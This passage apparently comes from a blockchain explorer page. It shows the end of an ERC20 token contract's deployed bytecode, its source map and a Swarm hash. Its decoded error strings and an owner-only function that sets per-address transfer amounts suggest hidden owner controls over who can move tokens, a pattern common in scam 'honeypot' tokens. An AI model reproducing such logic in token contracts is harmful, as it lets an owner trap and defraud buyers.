3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90611638565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d90611598565b60405180910390fd5b6000610d918461067e565b90506000811115610ddf57808211610dde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd5906115b8565b60405180910390fd5b5b610e4b8260405180606001604052806026815260200161189860269139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f8e9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ee082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610abd90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f809190611698565b60405180910390a350505050565b6000838311158290610fd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fcd9190611576565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506110b681611869565b92915050565b6000813590506110cb81611880565b92915050565b6000602082840312156110e357600080fd5b60006110f1848285016110a7565b91505092915050565b6000806040838503121561110d57600080fd5b600061111b858286016110a7565b925050602061112c858286016110a7565b9150509250929050565b60008060006060848603121561114b57600080fd5b6000611159868287016110a7565b935050602061116a868287016110a7565b925050604061117b868287016110bc565b9150509250925092565b6000806040838503121561119857600080fd5b60006111a6858286016110a7565b92505060206111b7858286016110bc565b9150509250929050565b6111ca81611740565b82525050565b6111d981611752565b82525050565b60006111ea826116ce565b6111f481856116d9565b9350611204818560208601611795565b61120d81611858565b840191505092915050565b60006112256023836116d9565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061128b603c836116d9565b91507f45524332303a2063726f737320616d6f756e7420646f6573206e6f742065717560008301527f616c207468652063726f7373207472616e7366657220616d6f756e74000000006020830152604082019050919050565b60006112f16026836116d9565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113576022836116d9565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113bd6020836116d9565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006113fd6025836116d9565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114636024836116d9565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006114c96021836116d9565b91507f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61152b8161177e565b82525050565b61153a81611788565b82525050565b600060208201905061155560008301846111c1565b92915050565b600060208201905061157060008301846111d0565b92915050565b6000602082019050818103600083015261159081846111df565b905092915050565b600060208201905081810360008301526115b181611218565b9050919050565b600060208201905081810360008301526115d18161127e565b9050919050565b600060208201905081810360008301526115f1816112e4565b9050919050565b600060208201905081810360008301526116118161134a565b9050919050565b60006020820190508181036000830152611631816113b0565b9050919050565b60006020820190508181036000830152611651816113f0565b9050919050565b6000602082019050818103600083015261167181611456565b9050919050565b60006020820190508181036000830152611691816114bc565b9050919050565b60006020820190506116ad6000830184611522565b92915050565b60006020820190506116c86000830184611531565b92915050565b600081519050919050565b600082825260208201905092915050565b60006116f58261177e565b91506117008361177e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611735576117346117fa565b5b828201905092915050565b600061174b8261175e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156117b3578082015181840152602081019050611798565b838111156117c2576000848401525b50505050565b600060028204905060018216806117e057607f821691505b602082108114156117f4576117f3611829565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61187281611740565b811461187d57600080fd5b50565b6118898161177e565b811461189457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220dc453c5ec865dec4fd35bd8b63c1f428fe1050da4ea4a913861397b697c36a4564736f6c63430008000033
Deployed Bytecode Sourcemap
4943:4916:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5692:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6891:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5993:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7109:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7931:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5894:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7571:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8134:112;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6109:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1815:94;;;:::i;:::-;;1495:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5791:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8254:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6403:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6627:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1917:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5692:91;5737:13;5770:5;5763:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5692:91;:::o;6891:210::-;7010:4;7032:39;7041:12;:10;:12::i;:::-;7055:7;7064:6;7032:8;:39::i;:::-;7089:4;7082:11;;6891:210;;;;:::o;5993:108::-;6054:7;6081:12;;6074:19;;5993:108;:::o;7109:454::-;7249:4;7266:36;7276:6;7284:9;7295:6;7266:9;:36::i;:::-;7313:220;7336:6;7357:12;:10;:12::i;:::-;7384:138;7440:6;7384:138;;;;;;;;;;;;;;;;;:11;:19;7396:6;7384:19;;;;;;;;;;;;;;;:33;7404:12;:10;:12::i;:::-;7384:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7313:8;:220::i;:::-;7551:4;7544:11;;7109:454;;;;;:::o;7931:194::-;8021:7;:5;:7::i;:::-;8005:23;;:12;:10;:12::i;:::-;:23;;;8001:75;;8031:43;;;;;;;;;;:::i;:::-;;;;;;;;8001:75;8111:6;8086:13;:22;8100:7;8086:22;;;;;;;;;;;;;;;:31;;;;7931:194;;:::o;5894:91::-;5943:5;5968:9;;;;;;;;;;;5961:16;;5894:91;:::o;7571:300::-;7686:4;7708:133;7731:12;:10;:12::i;:::-;7758:7;7780:50;7819:10;7780:11;:25;7792:12;:10;:12::i;:::-;7780:25;;;;;;;;;;;;;;;:34;7806:7;7780:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7708:8;:133::i;:::-;7859:4;7852:11;;7571:300;;;;:::o;8134:112::-;8189:7;8216:13;:22;8230:7;8216:22;;;;;;;;;;;;;;;;8209:29;;8134:112;;;:::o;6109:177::-;6228:7;6260:9;:18;6270:7;6260:18;;;;;;;;;;;;;;;;6253:25;;6109:177;;;:::o;1815:94::-;1738:12;:10;:12::i;:::-;1727:23;;:7;:5;:7::i;:::-;:23;;;1719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1880:21:::1;1898:1;1880:9;:21::i;:::-;1815:94::o:0;1495:87::-;1541:7;1568:6;;;;;;;;;;;1561:13;;1495:87;:::o;5791:95::-;5838:13;5871:7;5864:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5791:95;:::o;8254:400::-;8374:4;8396:228;8419:12;:10;:12::i;:::-;8446:7;8468:145;8525:15;8468:145;;;;;;;;;;;;;;;;;:11;:25;8480:12;:10;:12::i;:::-;8468:25;;;;;;;;;;;;;;;:34;8494:7;8468:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8396:8;:228::i;:::-;8642:4;8635:11;;8254:400;;;;:::o;6403:216::-;6525:4;6547:42;6557:12;:10;:12::i;:::-;6571:9;6582:6;6547:9;:42::i;:::-;6607:4;6600:11;;6403:216;;;;:::o;6627:201::-;6761:7;6793:11;:18;6805:5;6793:18;;;;;;;;;;;;;;;:27;6812:7;6793:27;;;;;;;;;;;;;;;;6786:34;;6627:201;;;;:::o;1917:192::-;1738:12;:10;:12::i;:::-;1727:23;;:7;:5;:7::i;:::-;:23;;;1719:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2026:1:::1;2006:22;;:8;:22;;;;1998:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2082:19;2092:8;2082:9;:19::i;:::-;1917:192:::0;:::o;3527:98::-;3585:7;3616:1;3612;:5;;;;:::i;:::-;3605:12;;3527:98;;;;:::o;1050:::-;1103:7;1130:10;1123:17;;1050:98;:::o;9472:380::-;9625:1;9608:19;;:5;:19;;;;9600:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9706:1;9687:21;;:7;:21;;;;9679:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9790:6;9760:11;:18;9772:5;9760:18;;;;;;;;;;;;;;;:27;9779:7;9760:27;;;;;;;;;;;;;;;:36;;;;9828:7;9812:32;;9821:5;9812:32;;;9837:6;9812:32;;;;;;:::i;:::-;;;;;;;;9472:380;;;:::o;8662:802::-;8820:1;8802:20;;:6;:20;;;;8794:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;8904:1;8883:23;;:9;:23;;;;8875:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;8957:19;8979:15;8987:6;8979:7;:15::i;:::-;8957:37;;9023:1;9009:11;:15;9005:141;;;9058:11;9049:6;:20;9041:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;9005:141;9231:108;9267:6;9231:108;;;;;;;;;;;;;;;;;:9;:17;9241:6;9231:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9211:9;:17;9221:6;9211:17;;;;;;;;;;;;;;;:128;;;;9373:32;9398:6;9373:9;:20;9383:9;9373:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9350:9;:20;9360:9;9350:20;;;;;;;;;;;;;;;:55;;;;9438:9;9421:35;;9430:6;9421:35;;;9449:6;9421:35;;;;;;:::i;:::-;;;;;;;;8662:802;;;;:::o;4202:240::-;4322:7;4380:1;4375;:6;;4383:12;4367:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4422:1;4418;:5;4411:12;;4202:240;;;;;:::o;2117:173::-;2173:16;2192:6;;;;;;;;;;;2173:25;;2218:8;2209:6;;:17;;;;;;;;;;;;;;;;;;2273:8;2242:40;;2263:8;2242:40;;;;;;;;;;;;2117:173;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;;;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;;;;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;;;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:118::-;2036:24;2054:5;2036:24;:::i;:::-;2031:3;2024:37;2014:53;;:::o;2073:109::-;2154:21;2169:5;2154:21;:::i;:::-;2149:3;2142:34;2132:50;;:::o;2188:364::-;;2304:39;2337:5;2304:39;:::i;:::-;2359:71;2423:6;2418:3;2359:71;:::i;:::-;2352:78;;2439:52;2484:6;2479:3;2472:4;2465:5;2461:16;2439:52;:::i;:::-;2516:29;2538:6;2516:29;:::i;:::-;2511:3;2507:39;2500:46;;2280:272;;;;;:::o;2558:367::-;;2721:67;2785:2;2780:3;2721:67;:::i;:::-;2714:74;;2818:34;2814:1;2809:3;2805:11;2798:55;2884:5;2879:2;2874:3;2870:12;2863:27;2916:2;2911:3;2907:12;2900:19;;2704:221;;;:::o;2931:392::-;;3094:67;3158:2;3153:3;3094:67;:::i;:::-;3087:74;;3191:34;3187:1;3182:3;3178:11;3171:55;3257:30;3252:2;3247:3;3243:12;3236:52;3314:2;3309:3;3305:12;3298:19;;3077:246;;;:::o;3329:370::-;;3492:67;3556:2;3551:3;3492:67;:::i;:::-;3485:74;;3589:34;3585:1;3580:3;3576:11;3569:55;3655:8;3650:2;3645:3;3641:12;3634:30;3690:2;3685:3;3681:12;3674:19;;3475:224;;;:::o;3705:366::-;;3868:67;3932:2;3927:3;3868:67;:::i;:::-;3861:74;;3965:34;3961:1;3956:3;3952:11;3945:55;4031:4;4026:2;4021:3;4017:12;4010:26;4062:2;4057:3;4053:12;4046:19;;3851:220;;;:::o;4077:330::-;;4240:67;4304:2;4299:3;4240:67;:::i;:::-;4233:74;;4337:34;4333:1;4328:3;4324:11;4317:55;4398:2;4393:3;4389:12;4382:19;;4223:184;;;:::o;4413:369::-;;4576:67;4640:2;4635:3;4576:67;:::i;:::-;4569:74;;4673:34;4669:1;4664:3;4660:11;4653:55;4739:7;4734:2;4729:3;4725:12;4718:29;4773:2;4768:3;4764:12;4757:19;;4559:223;;;:::o;4788:368::-;;4951:67;5015:2;5010:3;4951:67;:::i;:::-;4944:74;;5048:34;5044:1;5039:3;5035:11;5028:55;5114:6;5109:2;5104:3;5100:12;5093:28;5147:2;5142:3;5138:12;5131:19;;4934:222;;;:::o;5162:365::-;;5325:67;5389:2;5384:3;5325:67;:::i;:::-;5318:74;;5422:34;5418:1;5413:3;5409:11;5402:55;5488:3;5483:2;5478:3;5474:12;5467:25;5518:2;5513:3;5509:12;5502:19;;5308:219;;;:::o;5533:118::-;5620:24;5638:5;5620:24;:::i;:::-;5615:3;5608:37;5598:53;;:::o;5657:112::-;5740:22;5756:5;5740:22;:::i;:::-;5735:3;5728:35;5718:51;;:::o;5775:222::-;;5906:2;5895:9;5891:18;5883:26;;5919:71;5987:1;5976:9;5972:17;5963:6;5919:71;:::i;:::-;5873:124;;;;:::o;6003:210::-;;6128:2;6117:9;6113:18;6105:26;;6141:65;6203:1;6192:9;6188:17;6179:6;6141:65;:::i;:::-;6095:118;;;;:::o;6219:313::-;;6370:2;6359:9;6355:18;6347:26;;6419:9;6413:4;6409:20;6405:1;6394:9;6390:17;6383:47;6447:78;6520:4;6511:6;6447:78;:::i;:::-;6439:86;;6337:195;;;;:::o;6538:419::-;;6742:2;6731:9;6727:18;6719:26;;6791:9;6785:4;6781:20;6777:1;6766:9;6762:17;6755:47;6819:131;6945:4;6819:131;:::i;:::-;6811:139;;6709:248;;;:::o;6963:419::-;;7167:2;7156:9;7152:18;7144:26;;7216:9;7210:4;7206:20;7202:1;7191:9;7187:17;7180:47;7244:131;7370:4;7244:131;:::i;:::-;7236:139;;7134:248;;;:::o;7388:419::-;;7592:2;7581:9;7577:18;7569:26;;7641:9;7635:4;7631:20;7627:1;7616:9;7612:17;7605:47;7669:131;7795:4;7669:131;:::i;:::-;7661:139;;7559:248;;;:::o;7813:419::-;;8017:2;8006:9;8002:18;7994:26;;8066:9;8060:4;8056:20;8052:1;8041:9;8037:17;8030:47;8094:131;8220:4;8094:131;:::i;:::-;8086:139;;7984:248;;;:::o;8238:419::-;;8442:2;8431:9;8427:18;8419:26;;8491:9;8485:4;8481:20;8477:1;8466:9;8462:17;8455:47;8519:131;8645:4;8519:131;:::i;:::-;8511:139;;8409:248;;;:::o;8663:419::-;;8867:2;8856:9;8852:18;8844:26;;8916:9;8910:4;8906:20;8902:1;8891:9;8887:17;8880:47;8944:131;9070:4;8944:131;:::i;:::-;8936:139;;8834:248;;;:::o;9088:419::-;;9292:2;9281:9;9277:18;9269:26;;9341:9;9335:4;9331:20;9327:1;9316:9;9312:17;9305:47;9369:131;9495:4;9369:131;:::i;:::-;9361:139;;9259:248;;;:::o;9513:419::-;;9717:2;9706:9;9702:18;9694:26;;9766:9;9760:4;9756:20;9752:1;9741:9;9737:17;9730:47;9794:131;9920:4;9794:131;:::i;:::-;9786:139;;9684:248;;;:::o;9938:222::-;;10069:2;10058:9;10054:18;10046:26;;10082:71;10150:1;10139:9;10135:17;10126:6;10082:71;:::i;:::-;10036:124;;;;:::o;10166:214::-;;10293:2;10282:9;10278:18;10270:26;;10306:67;10370:1;10359:9;10355:17;10346:6;10306:67;:::i;:::-;10260:120;;;;:::o;10386:99::-;;10472:5;10466:12;10456:22;;10445:40;;;:::o;10491:169::-;;10609:6;10604:3;10597:19;10649:4;10644:3;10640:14;10625:29;;10587:73;;;;:::o;10666:305::-;;10725:20;10743:1;10725:20;:::i;:::-;10720:25;;10759:20;10777:1;10759:20;:::i;:::-;10754:25;;10913:1;10845:66;10841:74;10838:1;10835:81;10832:2;;;10919:18;;:::i;:::-;10832:2;10963:1;10960;10956:9;10949:16;;10710:261;;;;:::o;10977:96::-;;11043:24;11061:5;11043:24;:::i;:::-;11032:35;;11022:51;;;:::o;11079:90::-;;11156:5;11149:13;11142:21;11131:32;;11121:48;;;:::o;11175:126::-;;11252:42;11245:5;11241:54;11230:65;;11220:81;;;:::o;11307:77::-;;11373:5;11362:16;;11352:32;;;:::o;11390:86::-;;11465:4;11458:5;11454:16;11443:27;;11433:43;;;:::o;11482:307::-;11550:1;11560:113;11574:6;11571:1;11568:13;11560:113;;;11659:1;11654:3;11650:11;11644:18;11640:1;11635:3;11631:11;11624:39;11596:2;11593:1;11589:10;11584:15;;11560:113;;;11691:6;11688:1;11685:13;11682:2;;;11771:1;11762:6;11757:3;11753:16;11746:27;11682:2;11531:258;;;;:::o;11795:320::-;;11876:1;11870:4;11866:12;11856:22;;11923:1;11917:4;11913:12;11944:18;11934:2;;12000:4;11992:6;11988:17;11978:27;;11934:2;12062;12054:6;12051:14;12031:18;12028:38;12025:2;;;12081:18;;:::i;:::-;12025:2;11846:269;;;;:::o;12121:180::-;12169:77;12166:1;12159:88;12266:4;12263:1;12256:15;12290:4;12287:1;12280:15;12307:180;12355:77;12352:1;12345:88;12452:4;12449:1;12442:15;12476:4;12473:1;12466:15;12493:102;;12585:2;12581:7;12576:2;12569:5;12565:14;12561:28;12551:38;;12541:54;;;:::o;12601:122::-;12674:24;12692:5;12674:24;:::i;:::-;12667:5;12664:35;12654:2;;12713:1;12710;12703:12;12654:2;12644:79;:::o;12729:122::-;12802:24;12820:5;12802:24;:::i;:::-;12795:5;12792:35;12782:2;;12841:1;12838;12831:12;12782:2;12772:79;:::o
Swarm Source
ipfs://dc453c5ec865dec4fd35bd8b63c1f428fe1050da4ea4a913861397b697c36a45
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.